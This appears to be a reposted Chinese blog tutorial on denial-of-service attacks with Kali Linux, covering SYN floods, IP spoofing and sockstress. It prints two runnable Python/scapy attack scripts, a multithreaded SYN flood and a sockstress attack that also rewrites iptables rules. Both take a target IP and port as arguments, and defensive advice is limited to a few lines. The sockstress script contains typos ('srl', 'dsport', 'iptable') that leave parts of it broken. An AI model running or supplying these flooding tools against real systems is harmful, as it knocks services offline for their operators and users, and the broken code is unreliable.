kali linux之拒绝服务
Posted XxSec
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了kali linux之拒绝服务相关的知识,希望对你有一定的参考价值。
Dos不是DOS(利用程序漏洞或一对一资源耗尽的denial of service拒绝服务)
DDoS分布式拒绝服务(多对一的攻击汇聚资源能力,重点在于量大,属于资源耗尽型)
历史
以前:欠缺技术能力,ping死你(难缠)
现在:最强大,最危险的攻击,攻击方式众多(专业化的勒索,贩卖和租用肉鸡已经成为黑产中的重要部分,最终的办法就是拼资源,投资抗D,或者乖乖交保护费)
D网络:基于大量的flood耗尽目标网络带宽(ICMP Flood ,UDP Flood)
D协议:攻击协议漏洞发起的拒绝服务,(Syn Flood,Ping of Death,ARP,DNS,802.11,SSL)
D应用:针对应用程序和操作系统漏洞发起的拒绝服务攻击,大量的访问消耗应用(cc代理),通常表现为操作系统正常,网络流量巨大,但是服务停止响应。
从攻击者到受害者------网络---》FW--》服务器---》服务应用
资源耗尽------
网络:带宽
FW:吞吐量,并发连接
服务器:CPU,内存,I/O
应用:处理请求能力,对OS资源的使用权
程序漏洞攻击-----缓冲区溢出,协议,程序逻辑漏洞
Syn-Flood---常伴随ip欺骗
IP地址欺骗
经常用于dos攻击
根据ip头地址寻址(可以伪造ip源地址)
边界路由器过滤(入站,出站)
受害者可能是源,目的地址
绕过基于地址的验证
压力测试模拟多用户
上层协议(TCP序列号)
客户端发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号
以上的连接过程在TCP协议中被称为三次握手(Three-way Handshake)
问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会再次发送SYN+ACK给客户端,并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求,此时从正常客户的角度看来,服务器失去响应,服务器端受到了SYN Flood攻击(SYN洪水攻击)
python实现攻击
#!/usr/bin/python
# -*- coding: utf-8 -*-
from scapy.all import *
from time import sleep
import thread
import random
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) != 4:
print "用法: ./syn_flood.py [IP地址] [端口] [线程数]"
print "举例: ./syn_flood.py 1.1.1.1 80 20"
sys.exit()
target = str(sys.argv[1])
port = int(sys.argv[2])
threads = int(sys.argv[3])
print "正在执行 SYN flood 攻击,按 Ctrl+C 停止攻击."
def synflood(target,port):
while 0 == 0:
x = random.randint(0,65535)
send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)
for x in range(0,threads):
thread.start_new_thread(synflood, (target,port))
while 0 == 0:
sleep(1)
抓包查看
Sockstress
针对tcp服务的拒绝服务攻击
消耗目标操作系统资源
与攻击目标建立大量的socket链接
完成三次握手,最后的ack包windows为0(客户端不接收数据)
攻击者资源消耗小(cpu,内存,带宽)
异步攻击,单机可对抗高配资源服务器
windows窗口实现的tcp流控
防御措施:
直到今天sockstress攻击仍然是一种很有效的Dos攻击方式
由于建立完整的TCP三次握手,因此使用syn cookie防御无效
根本的防御办法是采用白名单,但是不实际
折中对策,限制单位时间内每秒连接超市的TCP连接数
python脚本实现:
#!/usr/bin/python
# -*- coding: utf-8 -*-
from scapy.all import *
from time import sleep
import thread
import logging
import os
import signal
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) !=4:
print "用法: ./sock_stress.py [目标IP] [端口] [线程数]"
print "举例: ./sock_stress.py 10.0.0.5 21 20 ## 请确定呗攻击端口处于开放状态"
sys.exit()
target = str(sys.argv[1])
dstport = int(sys.argv[2])
threads = int(sys.argv[3])
## 攻击函数
def sockstress(target,dstport):
while 0==0:
try:
x = random.randint(0,65535)
response = srl(IP(dst=target)/TCP(sport=x,dport=dstport,flags=\'S\'),timeout=1,verbose=0)
send(IP(dst=target)/ TCP(dsport=dstport,sport=x,window=0,flags=\'A\',ack=(response[TCP].seq + 1))/\'\\x00\\x00\',verbose=0)
except:
pass
## 停止攻击函数
def shutdown(signal, frame):
print \'正在恢复 iptables 规则\'
os.system(\'iptable -D OUTPUT -p tcp --tcp-flas RST RST -d \' + target + \' -j DROP\')
sys.exit()
## 添加iptables规则
os.system(\'iptables -A OUTPUT -p tcp --tcp-flags RST RST -d \' + target + \' -j DROP\')
signal.signal(signal.SIGINT, shutdown)
## 多线程攻击
print "\\n攻击正在进行...按 Ctrl+C 停止攻击"
for x in range(0,threads):
thread.start_new_thread(sockstress, (target,dstport))
## 永远执行
while 0==0:
sleep(1)
执行攻击并抓包查看
友情链接 http://www.cnblogs.com/klionsec
http://www.cnblogs.com/l0cm
http://www.cnblogs.com/Anonyaptxxx
http://www.feiyusafe.cn
以上是关于kali linux之拒绝服务的主要内容,如果未能解决你的问题,请参考以下文章
Android应用安全之Android APP通用型拒绝服务漏洞